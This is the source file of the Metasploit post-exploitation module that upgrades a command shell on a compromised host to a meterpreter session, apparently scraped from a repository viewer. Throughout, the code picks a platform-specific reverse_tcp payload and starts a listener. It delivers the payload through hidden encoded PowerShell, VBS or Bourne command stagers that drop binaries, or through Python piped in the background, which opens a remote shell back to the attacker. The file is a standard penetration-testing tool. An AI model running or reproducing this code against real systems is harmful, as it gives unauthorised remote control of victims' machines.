Path: blob/master/modules/post/multi/manage/shell_to_meterpreter.rb
19500 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##4require 'rex/exploitation/cmdstager'56class MetasploitModule < Msf::Post7include Exploit::Powershell8include Post::Architecture9include Post::Windows::Powershell1011VALID_PSH_ARCH_OVERRIDE = ['x64', 'x86']12VALID_PLATFORM_OVERRIDE = Msf::Platform.find_children.map { |plat| plat.realname.downcase }1314def initialize(info = {})15super(16update_info(17info,18'Name' => 'Shell to Meterpreter Upgrade',19'Description' => %q{20This module attempts to upgrade a command shell to meterpreter. The shell21platform is automatically detected and the best version of meterpreter for22the target is selected. Currently meterpreter/reverse_tcp is used on Windows23and Linux, with 'python/meterpreter/reverse_tcp' used on all others.24},25'License' => MSF_LICENSE,26'Author' => ['Tom Sellers <tom [at] fadedcode.net>'],27'Platform' => [ 'linux', 'osx', 'unix', 'solaris', 'bsd', 'windows' ],28'SessionTypes' => [ 'shell', 'meterpreter' ],29'Notes' => {30'Stability' => [CRASH_SAFE],31'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS],32'Reliability' => []33}34)35)36register_options(37[38OptAddressLocal.new('LHOST',39[false, 'IP of host that will receive the connection from the payload (Will try to auto detect).', nil]),40OptInt.new('LPORT',41[true, 'Port for payload to connect to.', 4433]),42OptBool.new('HANDLER',43[ true, 'Start an exploit/multi/handler to receive the connection', true])44]45)46register_advanced_options([47OptInt.new('HANDLE_TIMEOUT',48[true, 'How long to wait (in seconds) for the session to come back.', 30]),49OptEnum.new('WIN_TRANSFER',50[true, 'Which method to try first to transfer files on a Windows target.', 'POWERSHELL', ['POWERSHELL', 'VBS']]),51OptEnum.new('PLATFORM_OVERRIDE',52[false, 'Define the platform to use.', nil, VALID_PLATFORM_OVERRIDE]),53OptEnum.new('PSH_ARCH_OVERRIDE',54[false, 'Define the powershell architecture to use', nil, VALID_PSH_ARCH_OVERRIDE]),55OptString.new('PAYLOAD_OVERRIDE',56[false, 'Define the payload to use (meterpreter/reverse_tcp by default) .', nil]),57OptString.new('BOURNE_PATH',58[false, 'Remote path to drop binary']),59OptString.new('BOURNE_FILE',60[false, 'Remote filename to use for dropped binary']),61OptInt.new('COMMAND_TIMEOUT',62[true, 'How long to wait (in seconds) for a result when executing a command on the remote machine.', 15]),63])64deregister_options('PERSIST', 'PSH_OLD_METHOD', 'RUN_WOW64')65end6667def command_timeout68datastore['COMMAND_TIMEOUT']69end7071# Run method for when run command is issued72def run73print_status("Upgrading session ID: #{datastore['SESSION']}")7475# Try hard to find a valid LHOST value in order to76# make running 'sessions -u' as robust as possible.77if datastore['LHOST']78lhost = datastore['LHOST']79elsif framework.datastore['LHOST']80lhost = framework.datastore['LHOST']81else82lhost = session.tunnel_local.split(':')[0]83if lhost == 'Local Pipe'84print_error 'LHOST is "Local Pipe", please manually set the correct IP.'85return86end87end8889# If nothing else works...90lhost = Rex::Socket.source_address if lhost.blank?9192lport = datastore['LPORT']9394# Handle platform specific variables and settings95if datastore['PAYLOAD_OVERRIDE']96unless datastore['PLATFORM_OVERRIDE']97print_error('Please pair PAYLOAD_OVERRIDE with a PLATFORM_OVERRIDE.')98return nil99end100unless datastore['PLATFORM_OVERRIDE'].in? VALID_PLATFORM_OVERRIDE101print_error('Please provide a valid PLATFORM_OVERRIDE')102return nil103end104payload_name = datastore['PAYLOAD_OVERRIDE']105payload = framework.payloads.create(payload_name)106platform = datastore['PLATFORM_OVERRIDE']107unless payload108print_error('Please provide a valid payload for PAYLOAD_OVERRIDE.')109return nil110end111if platform.downcase == 'windows' || platform.downcase == 'win'112unless datastore['PSH_ARCH_OVERRIDE']113print_error('Please provide a PSH_ARCH_OVERRIDE')114return nil115end116unless datastore['PSH_ARCH_OVERRIDE'].in? VALID_PSH_ARCH_OVERRIDE117print_error('Please provide a valid PSH_ARCH_OVERRIDE')118return nil119end120psh_arch = datastore['PSH_ARCH_OVERRIDE']121end122lplat = payload.platform.platforms123larch = payload.arch124else125case session.platform126when 'windows', 'win'127platform = 'windows'128lplat = [Msf::Platform::Windows]129arch = get_os_architecture130case arch131when ARCH_X64132payload_name = 'windows/x64/meterpreter/reverse_tcp'133psh_arch = 'x64'134when ARCH_X86135payload_name = 'windows/meterpreter/reverse_tcp'136psh_arch = 'x86'137else138print_error('Target is running Windows on an unsupported architecture such as Windows ARM!')139return nil140end141larch = [arch]142vprint_status('Platform: Windows')143when 'osx'144platform = 'osx'145payload_name = 'osx/x64/meterpreter/reverse_tcp'146lplat = [Msf::Platform::OSX]147larch = [ARCH_X64]148vprint_status('Platform: OS X')149when 'solaris'150platform = 'python'151payload_name = 'python/meterpreter/reverse_tcp'152vprint_status('Platform: Solaris')153else154# Find the best fit, be specific with uname to avoid matching hostname or something else155target_info = cmd_exec('uname -ms')156if target_info =~ /linux/i && target_info =~ /86/157# Handle linux shells that were identified as 'unix'158platform = 'linux'159payload_name = 'linux/x86/meterpreter/reverse_tcp'160lplat = [Msf::Platform::Linux]161larch = [ARCH_X86]162vprint_status('Platform: Linux')163elsif target_info =~ /darwin/i164platform = 'osx'165payload_name = 'osx/x64/meterpreter/reverse_tcp'166lplat = [Msf::Platform::OSX]167larch = [ARCH_X64]168vprint_status('Platform: OS X')169elsif remote_python_binary170# Generic fallback for OSX, Solaris, Linux/ARM171platform = 'python'172payload_name = 'python/meterpreter/reverse_tcp'173vprint_status('Platform: Python [fallback]')174end175end176end177178if platform.blank?179print_error("Shells on the target platform, #{session.platform}, cannot be upgraded to Meterpreter at this time.")180return nil181end182183vprint_status("Upgrade payload: #{payload_name}")184185payload_data = generate_payload(lhost, lport, payload_name)186if payload_data.blank?187print_error("Unable to build a suitable payload for #{session.platform} using payload #{payload_name}.")188return nil189end190191if datastore['HANDLER']192listener_job_id = create_multihandler(lhost, lport, payload_name)193if listener_job_id.blank?194print_error("Failed to start exploit/multi/handler on #{datastore['LPORT']}, it may be in use by another process.")195return nil196end197end198199case platform.downcase200when 'windows'201if session.type == 'powershell'202template_path = Rex::Powershell::Templates::TEMPLATE_DIR203psh_payload = case datastore['Powershell::method']204when 'net'205Rex::Powershell::Payload.to_win32pe_psh_net(template_path, payload_data)206when 'reflection'207Rex::Powershell::Payload.to_win32pe_psh_reflection(template_path, payload_data)208when 'old'209Rex::Powershell::Payload.to_win32pe_psh(template_path, payload_data)210when 'msil'211raise 'MSIL Powershell method no longer exists'212else213raise 'No Powershell method specified'214end215216# prepend_sleep => 1217psh_payload = 'Start-Sleep -s 1;' << psh_payload218219encoded_psh_payload = encode_script(psh_payload)220cmd_exec(run_hidden_psh(encoded_psh_payload, psh_arch, true))221elsif have_powershell? && (datastore['WIN_TRANSFER'] != 'VBS')222vprint_status('Transfer method: Powershell')223psh_opts = { persist: false, prepend_sleep: 1 }224if session.type == 'shell'225cmd_exec("echo. | #{cmd_psh_payload(payload_data, psh_arch, psh_opts)}")226else227psh_opts[:remove_comspec] = true228cmd_exec(cmd_psh_payload(payload_data, psh_arch, psh_opts), nil, command_timeout, { 'Channelized' => false })229end230else231print_error('Powershell is not installed on the target.') if datastore['WIN_TRANSFER'] == 'POWERSHELL'232vprint_status('Transfer method: VBS [fallback]')233exe = Msf::Util::EXE.to_executable(framework, larch, lplat, payload_data)234aborted = transmit_payload(exe, platform)235end236when 'python'237vprint_status('Transfer method: Python')238cmd_exec("echo \"#{payload_data}\" | #{remote_python_binary}", nil, command_timeout, { 'Channelized' => false })239when 'osx'240vprint_status('Transfer method: Python [OSX]')241payload_data = Msf::Util::EXE.to_python_reflection(framework, ARCH_X64, payload_data, {})242cmd_exec("echo \"#{payload_data}\" | #{remote_python_binary} & disown", nil, command_timeout, { 'Channelized' => false })243else244vprint_status('Transfer method: Bourne shell [fallback]')245exe = Msf::Util::EXE.to_executable(framework, larch, lplat, payload_data)246aborted = transmit_payload(exe, platform)247end248249if datastore['HANDLER']250vprint_status('Cleaning up handler')251cleanup_handler(listener_job_id, aborted)252end253254nil255end256257#258# Get the Python binary from the remote machine, if any, by running259# a series of channelized `cmd_exec` calls.260# @return String/nil A string if a Python binary can be found, else nil.261#262def remote_python_binary263return @remote_python_binary if defined?(@remote_python_binary)264265python_exists_regex = /Python (2|3)\.(\d)/266267if cmd_exec('python3 -V 2>&1') =~ python_exists_regex268@remote_python_binary = 'python3'269elsif cmd_exec('python -V 2>&1') =~ python_exists_regex270@remote_python_binary = 'python'271elsif cmd_exec('python2 -V 2>&1') =~ python_exists_regex272@remote_python_binary = 'python2'273else274@remote_python_binary = nil275end276277@remote_python_binary278end279280def transmit_payload(exe, platform)281#282# Generate the stager command array283#284linemax = 1700285if session.exploit_datastore['LineMax']286linemax = session.exploit_datastore['LineMax'].to_i287end288opts = {289linemax: linemax290# :nodelete => true # keep temp files (for debugging)291}292case platform293when 'windows'294opts[:decoder] = File.join(Rex::Exploitation::DATA_DIR, 'exploits', 'cmdstager', 'vbs_b64')295cmdstager = Rex::Exploitation::CmdStagerVBS.new(exe)296when 'osx'297opts[:background] = true298cmdstager = Rex::Exploitation::CmdStagerPrintf.new(exe)299else300opts[:background] = true301opts[:temp] = datastore['BOURNE_PATH']302opts[:file] = datastore['BOURNE_FILE']303cmdstager = Rex::Exploitation::CmdStagerBourne.new(exe)304end305306cmds = cmdstager.generate(opts)307if cmds.nil? || cmds.empty?308print_error('The command stager could not be generated.')309raise ArgumentError310end311312#313# Calculate the total size314#315total_bytes = 0316cmds.each { |cmd| total_bytes += cmd.length }317318vprint_status('Starting transfer...')319begin320#321# Run the commands one at a time322#323sent = 0324aborted = false325cmds.each.with_index do |cmd, i|326# The last command should be fire-and-forget, otherwise issues occur where the original session waits327# for an unlimited amount of time for the newly spawned session to exit.328wait_for_cmd_result = i + 1 < cmds.length329# Note that non-channelized cmd_exec calls currently return an empty string330ret = cmd_exec(cmd, nil, command_timeout, { 'Channelized' => wait_for_cmd_result })331if wait_for_cmd_result332if !ret333aborted = true334else335ret.strip!336aborted = true if !ret.empty? && ret !~ /The process tried to write to a nonexistent pipe./337end338if aborted339print_error('Error: Unable to execute the following command: ' + cmd.inspect)340print_error('Output: ' + ret.inspect) if ret && !ret.empty?341break342end343end344345sent += cmd.length346progress(total_bytes, sent)347end348rescue ::Interrupt349# TODO: cleanup partial uploads!350aborted = true351rescue StandardError => e352print_error("Error: #{e}")353aborted = true354end355356return aborted357end358359def cleanup_handler(listener_job_id, aborted)360# Return if the job has already finished361return nil if framework.jobs[listener_job_id].nil?362363framework.threads.spawn('ShellToMeterpreterUpgradeCleanup', false) do364if !aborted365timer = 0366timeout = datastore['HANDLE_TIMEOUT']367vprint_status("Waiting up to #{timeout} seconds for the session to come back")368while !framework.jobs[listener_job_id].nil? && timer < timeout369sleep(1)370timer += 1371end372end373print_status('Stopping exploit/multi/handler')374framework.jobs.stop_job(listener_job_id)375end376end377378#379# Show the progress of the upload380#381def progress(total, sent)382done = (sent.to_f / total.to_f) * 100383print_status(format('Command stager progress: %<done>3.2f%% (%<sent>d/%<total>d bytes)', done: done.to_f, sent: sent, total: total))384end385386# Method for checking if a listener for a given IP and port is present387# will return true if a conflict exists and false if none is found388def check_for_listener(lhost, lport)389client.framework.jobs.each_value do |j|390next unless j.name =~ %r{ multi/handler}391392current_id = j.jid393current_lhost = j.ctx[0].datastore['LHOST']394current_lport = j.ctx[0].datastore['LPORT']395if lhost == current_lhost && lport == current_lport.to_i396print_error("Job #{current_id} is listening on IP #{current_lhost} and port #{current_lport}")397return true398end399end400return false401end402403# Starts a exploit/multi/handler session404def create_multihandler(lhost, lport, payload_name)405pay = client.framework.payloads.create(payload_name)406pay.datastore['RHOST'] = rhost407pay.datastore['LHOST'] = lhost408pay.datastore['LPORT'] = lport409410print_status('Starting exploit/multi/handler')411412if check_for_listener(lhost, lport)413print_error('A job is listening on the same local port')414return415end416417# Set options for module418mh = client.framework.exploits.create('multi/handler')419mh.share_datastore(pay.datastore)420mh.datastore['WORKSPACE'] = client.workspace421mh.datastore['PAYLOAD'] = payload_name422mh.datastore['EXITFUNC'] = 'thread'423mh.datastore['ExitOnSession'] = true424# Validate module options425mh.options.validate(mh.datastore)426# Execute showing output427mh.exploit_simple(428'Payload' => mh.datastore['PAYLOAD'],429'LocalInput' => user_input,430'LocalOutput' => user_output,431'RunAsJob' => true432)433434# Check to make sure that the handler is actually valid435# If another process has the port open, then the handler will fail436# but it takes a few seconds to do so. The module needs to give437# the handler time to fail or the resulting connections from the438# target could end up on on a different handler with the wrong payload439# or dropped entirely.440select(nil, nil, nil, 5)441return nil if framework.jobs[mh.job_id.to_s].nil?442443mh.job_id.to_s444end445446def generate_payload(lhost, lport, payload_name)447payload = framework.payloads.create(payload_name)448449unless payload.respond_to?('generate_simple')450print_error("Could not generate payload #{payload_name}. Invalid payload?")451return452end453454options = "LHOST=#{lhost} LPORT=#{lport} RHOST=#{rhost}"455payload.generate_simple('OptionStr' => options)456end457end458459460